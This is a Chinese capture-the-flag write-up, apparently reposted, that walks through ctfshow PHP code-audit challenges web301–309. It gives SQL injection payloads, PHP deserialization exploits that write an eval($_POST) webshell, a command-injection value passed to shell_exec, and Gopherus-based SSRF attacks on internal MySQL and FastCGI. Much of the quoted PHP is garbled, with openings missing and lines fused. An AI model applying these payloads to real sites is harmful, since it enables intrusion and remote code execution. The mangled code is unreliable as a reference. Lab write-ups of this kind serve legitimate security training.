ctfshow之php代码审计

本系列题目来源:CTFSHOW: https://ctf.show/challenges
开始代码审计

web301

下载地址: https://ctfshow.lanzoui.com/ilMPgjfeyxa

用 seay 啥也没审到。

直接手工来。

checklogin.php:

query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rowsfree();
    $mysqli->close();
    header("location:index.php");
    return;
}
$_SESSION['error']="1";
header("location:login.php");

?>

这里很明显$username,没有过滤而产生 sql注入。

payload:

userid=1'union select 1#&userpwd=1

成功登录,拿到flag.

web302

修改处

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){

fun.php:


在本地尝试一下:

ctfshow之php代码审计

构造payload:

userid=1'union select "d9c77c4e454869d5d8da3b4be79694d3"#&userpwd=1

web303

下载地址: https://ctfshow.lanzous.com/i6wtkjg1gxa

seay审计,

ctfshow之php代码审计

有注入漏洞,而用户名登陆出限制了用户名长度无法注入。

dptadd.php:

$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";

dpt.php:



query($sql);
?>

但前提是得登录。

尝试弱口令 admin/admin 登录成功。

dptadd.php增加数据后,会在dpt.php中显示数据。

ctfshow之php代码审计

构造paylaod:

dpt_name=1',sds_address =(select database())#
# 得到 sds

dpt_name=1',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())#
# 得到    sds_dpt,sds_fl9g,sds_user

dpt_name=1',sds_address =(select group_concat(column_name) from information_schema.columns where table_name="sds_fl9g")#
# 得到 flag

dpt_name=1',sds_address =(select group_concat(flag) from sds_fl9g)#

web304

增加了全局waf

function sds_waf($str){
    return preg_match('/[0-9]|[a-z]|-/i', $str);
}

但是还是可以注入。

payload:

dpt_name=1',sds_address =(select group_concat(flag) from sds_flaag)#

web305

多了waf:

function sds_waf($str){
	if(preg_match('/~|`|!|@|#|$|%|^|&|*|(|)|_|+|=|{|}|[|]|;|:|'|"|,|.|?|/|\|/', $str)){
		return false;
	}else{
		return true;
	}
}

但是多了个反序列化写文件漏洞点。

class.php

username=$u;
		$this->password=$p;
	}
	public function __destruct(){
		file_put_contents($this->username, $this->password);
	}
}

checklogin.php:

require 'class.php';
$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
	$user = unserialize($user_cookie);
}

那么只需要传cookie即可利用返反序列化写文件。

exp:

username=$u;
        $this->password=$p;
    }
    public function __destruct(){
        file_put_contents($this->username, $this->password);
    }
}

echo urlencode(serialize(new user('1.php','')));

得到

O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

checklogin.php传入cookie值。即可写入shell.

蚁剑连接:

ctfshow之php代码审计

连接数据库:

ctfshow之php代码审计

ctfshow之php代码审计

web306

代码地址:https://pan.baidu.com/s/14NNHrtQayhOBN9t8Iq3V_g提取码 wiji

开始使用mvc结构

class.php:

class log{
	public $title='log.txt';
	public $info='';
	public function loginfo($info){
		$this->info=$this->info.$info;
	}
	public function close(){
		file_put_contents($this->title, $this->info);
	}

}

又有反序列化写文件。但不同的是这里得手动调用函数close,而不是析构函数了。

但是在过程审计的时候,这里

login.php

<?php require 'class.php';
session_start();
error_reporting(0);
$user = unserialize(base64_decode($_COOKIE['user']));
if($user){
	header("location:index.php");
}

只要cookie传入一个序列化后base64编码后的字符串都可以成功登录后台,但并没卵用。

接着审计。看看有没有地方调用close的。

dao.php中:

config=new config();
        $this->init();
    }
    private function init(){
        $this->conn=new mysqli($this->config->get_mysql_host(),$this->config->get_mysql_username(),$this->config->get_mysql_password(),$this->config->get_mysql_db());
    }
    public function __destruct(){
        $this->conn->close();
    }

    public function get_user_password_by_username($u){
        $sql="select sds_password from sds_user where sds_username='".$u."' order by id limit 1;";
        $result=$this->conn->query($sql);
        $row=$result->fetch_array(MYSQLI_BOTH);
        if($result->num_rows>0){
            return $row['sds_password'];
        }else{
            return '';
        }
    }

}

他的析构函数正好调用$this->conn->close();,那么如果使其$this->conn为 log 类就可以成功了,恰巧这里也包含了 class.php ,require 'class.php';

此时我们有需要去找一个调用dao的,找到index.php,


正好包含了dao.php,而且有反序列化unserialize

Exp:

conn=new log();
	}

	public function __destruct(){
		$this->conn->close();
	}
}

class log{
	public $title='log.php';
	public $info='';

	public function close(){
		file_put_contents($this->title, $this->info);
	}

}

echo base64_encode(serialize(new dao()));

把得到的字符串当作 cookie user 值访问 index.php,就可写入shell.

web307

下载: https://ctfshow.lanzous.com/iQQhxjgy8bi

ctfshow之php代码审计

使用 seay 发现两处疑似漏洞点,第一处由于方法名closelog漏洞点无法利用。

第二处:

dao.php

public function  clearCache(){
		shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
	}

我们可以通过 seay 全局搜索函数的功能找到那里调用此函数。

ctfshow之php代码审计

审计代码,发现logout.php可利用:

clearCache();
}
setcookie('PHPSESSID','',0,'/');
setcookie('service','',0,'/');
header("location:../login.php");
?>

但是这里没有直接包含dao.php,

我们去看看service.php,发现其包含dao.php的,并且service 类也有调用函数

public function clearCache(){
        $this->dao->clearCache();
    }

所以很明显了,这里利用logout.php进行反序列化任意执行命令的漏洞可以:

通过 service.php 调用 dao 类调用其函数

直接调用 dao.php 调用其函数

因为这里$this->config->cache_dir还需要用到cache.dir, 他是config.php 中的变量,

<?php class config{
	public $cache_dir = ';echo "" >1.php;';
}

class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}
}

echo base64_encode(serialize(new dao()));

web308

下载: https://ctfshow.lanzous.com/i6HyHjh8njg

与上题相比这里增加了过滤:

public function  clearCache(){
		if(preg_match('/^[a-z]+$/i', $this->config->cache_dir)){
			shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
		}
	}

但是又有一尺 ssrf 可利用。

dao.php:

public function checkVersion(){
		return checkUpdate($this->config->update_url);
	}

fun.php

function checkUpdate($url){
		$ch=curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_HEADER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
		$res = curl_exec($ch);
		curl_close($ch);
		return $res;
	}

在 index.php 中被调用:

checkVersion();
}
?>

利用 gopherus打内网 mysql.

https://github.com/tarunkant/Gopherus

exp:

config=new config();
    }

}
$a=new dao();
echo base64_encode(serialize($a));
?>

ctfshow之php代码审计

得到 shell.

web309

需要拿shell,308的方法不行了,mysql 有密码了

FastCGI是用来提高CGI程序性能的。类似于CGI,FastCGI也可以说是一种协议。简单来说就是CGI的优化:对于CGI来说,每一个Web请求PHP都必须重新解析php.ini、重新载入全部扩展,并重新初始化全部数据结构。而使用FastCGI,所有这些都只在进程启动时发生一次。还有一个额外的好处是,持续数据库连接(Persistent database connection)可以工作。

https://www.anquanke.com/post/id/186186
python2 gopherus.py --exploit fastcgi

exp:

config=new config();
    }

}
$a=new dao();
echo base64_encode(serialize($a));
?>

本文为转载文章,源自互联网,由网络整理整理编辑,转载请注明出处:https://www.hacksafe.net/articles/web/6306.html

发表评论

邮箱地址不会被公开。 必填项已用*标注